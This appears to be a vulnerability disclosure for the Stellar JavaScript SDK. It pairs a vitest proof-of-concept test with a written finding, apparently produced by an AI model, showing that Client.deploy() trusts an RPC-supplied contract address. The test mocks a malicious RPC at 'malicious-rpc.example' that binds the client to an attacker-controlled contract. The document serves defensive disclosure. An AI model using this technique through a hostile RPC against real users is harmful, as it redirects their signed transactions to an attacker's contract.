import { afterEach, describe, expect, it, vi } from "vitest";
import { StellarSdk } from "../test-utils/stellar-sdk-import";
const { Address, Account, Keypair, Networks, StrKey, contract, xdr } =
StellarSdk;
function buildSpecWasm(specEntries: any[]): Buffer {
const specStream = Buffer.concat(specEntries.map((entry) => entry.toXDR()));
const sectionName = Buffer.from("contractspecv0", "utf8");
const sectionPayload = Buffer.concat([
encodeLeb128(sectionName.length),
sectionName,
specStream,
]);
return Buffer.concat([
Buffer.from([0x00, 0x61, 0x73, 0x6d]),
Buffer.from([0x01, 0x00, 0x00, 0x00]),
Buffer.from([0x00]),
encodeLeb128(sectionPayload.length),
sectionPayload,
]);
}
function encodeLeb128(value: number): Buffer {
const bytes: number[] = [];
let remaining = value >>> 0;
do {
let byte = remaining & 0x7f;
remaining >>>= 7;
if (remaining > 0) byte |= 0x80;
bytes.push(byte);
} while (remaining > 0);
return Buffer.from(bytes);
}
function createSpec() {
return [
xdr.ScSpecEntry.scSpecEntryFunctionV0(
new xdr.ScSpecFunctionV0({
doc: "",
name: "increment",
inputs: [],
outputs: [xdr.ScSpecTypeDef.scSpecTypeU32()],
}),
),
];
}
function deriveExpectedContractId({
networkPassphrase,
deployer,
salt,
}: {
networkPassphrase: string;
deployer: string;
salt: Buffer;
}) {
const networkId = StellarSdk.hash(Buffer.from(networkPassphrase));
const preimage = xdr.HashIdPreimage.envelopeTypeContractId(
new xdr.HashIdPreimageContractId({
networkId,
contractIdPreimage: xdr.ContractIdPreimage.contractIdPreimageFromAddress(
new xdr.ContractIdPreimageFromAddress({
address: Address.fromString(deployer).toScAddress(),
salt,
}),
),
}),
);
return StrKey.encodeContract(StellarSdk.hash(preimage.toXDR()));
}
describe("Security PoC - deploy result address not verified", () => {
const networkPassphrase = Networks.TESTNET;
const rpcUrl = "https://malicious-rpc.example";
const deployer = Keypair.random();
const wallet = contract.basicNodeSigner(deployer, networkPassphrase);
const salt = Buffer.alloc(32, 7);
const wasmHash = Buffer.alloc(32, 3);
const attackerContractId = Keypair.random().rawPublicKey();
const attackerContractAddress = Address.contract(attackerContractId).toString();
const sourceAccount = new Account(deployer.publicKey(), "123");
const wasm = buildSpecWasm(createSpec());
const getContractWasmByHash = vi.fn(async () => wasm);
const getAccount = vi.fn(async () => sourceAccount);
const simulateTransaction = vi.fn(async () => ({
id: `simulate-${simulateTransaction.mock.calls.length + 1}`,
latestLedger: 123,
events: [],
_parsed: true,
minResourceFee: "100",
transactionData: new StellarSdk.SorobanDataBuilder(),
result: {
retval:
simulateTransaction.mock.calls.length === 0
? new Address(attackerContractAddress).toScVal()
: xdr.ScVal.scvU32(1),
},
}));
const sendTransaction = vi.fn(async () => ({
status: "PENDING",
hash: "deadbeef",
latestLedger: 123,
latestLedgerCloseTime: 123,
}));
const getTransaction = vi.fn(async () => ({
status: StellarSdk.rpc.Api.GetTransactionStatus.SUCCESS,
txHash: "deadbeef",
latestLedger: 124,
latestLedgerCloseTime: 124,
oldestLedger: 120,
oldestLedgerCloseTime: 120,
returnValue: new Address(attackerContractAddress).toScVal(),
}));
afterEach(() => {
vi.restoreAllMocks();
});
it("returns a client bound to attacker-controlled contract ID and uses it for later calls", async () => {
vi.spyOn(
StellarSdk.rpc.Server.prototype,
"getContractWasmByHash",
).mockImplementation(getContractWasmByHash);
const mockServer = {
getAccount,
simulateTransaction,
sendTransaction,
getTransaction,
} as any;
const deployTx = await contract.Client.deploy(null, {
rpcUrl,
allowHttp: true,
networkPassphrase,
publicKey: deployer.publicKey(),
wasmHash,
salt,
server: mockServer,
...wallet,
});
const sent = await deployTx.signAndSend({ force: true });
const deployedClient = sent.result as any;
const expectedContractId = deriveExpectedContractId({
networkPassphrase,
deployer: deployer.publicKey(),
salt,
});
expect(deployedClient.options.contractId).toBe(attackerContractAddress);
expect(deployedClient.options.contractId).not.toBe(expectedContractId);
const followUpTx = await deployedClient.increment();
const invokeArgs = followUpTx.built
.toEnvelope()
.v1()
.tx()
.operations()[0]
.body()
.invokeHostFunctionOp()
.hostFunction()
.invokeContract();
expect(Address.fromScAddress(invokeArgs.contractAddress()).toString()).toBe(
attackerContractAddress,
);
expect(Address.fromScAddress(invokeArgs.contractAddress()).toString()).not.toBe(
expectedContractId,
);
});
});
Security Finding:
Client.deploy()Trusts RPC Return Value for the Deployed Contract AddressSubsystem: contract
Severity: High
Model: claude-sonnet-4.6
Impact
A malicious RPC can bind the returned
Clientto an attacker-controlled contract, causing later signed method calls to target the wrong contract persistently.Root Cause
Client.deploy()builds a deterministiccreateCustomContractoperation from the deployer address, network passphrase, and salt, but the returnedClientdoes not use that deterministic address. Instead,parseResultXdrconstructs the newClientfromAddress.fromScVal(result).toString(), whereresultcomes from the RPC server'sgetTransaction().returnValueviaSentTransaction.result.Because the SDK already has enough local information to derive the expected contract ID, accepting the RPC's returned address without recomputing or verifying it lets an attacker replace the deployed contract identity with an arbitrary compatible contract.
Relevant code paths:
src/contract/client.ts:67-91—Client.deploy()andparseResultXdrcallbacksrc/contract/sent_transaction.ts:134-141—SentTransaction.resultfromreturnValuesrc/contract/assembled_transaction.ts:561-568—parseResultXdrinvocationAttack Vector
An attacker controls the Soroban RPC endpoint used during deployment. The user deploys a contract and signs the correct
createCustomContracttransaction. When the SDK later pollsgetTransaction(), the malicious RPC returns a successfulreturnValuecontaining an attacker-controlled contract address instead of the deterministic address created by the signed deployment.Client.deploy()then returns aClientpermanently configured with that attacker-controlledcontractId. Subsequent method calls on thatClientassemble and sign transactions for the attacker's contract, even if the caller later switches to an honest RPC endpoint.PoC Code
Full PoC Test
Recommendation
Do not seed the returned deployed
Clientfrom the RPC'sreturnValuealone. Instead, derive the expected contract ID locally from the effectivecreateCustomContractpreimage actually signed by the user, and either:Client, orreturnValueand reject any mismatch.If the caller omitted
salt, capture the effective salt used in the deployment operation before submission so the deterministic recomputation still uses the real signed preimage rather than an optional input copy.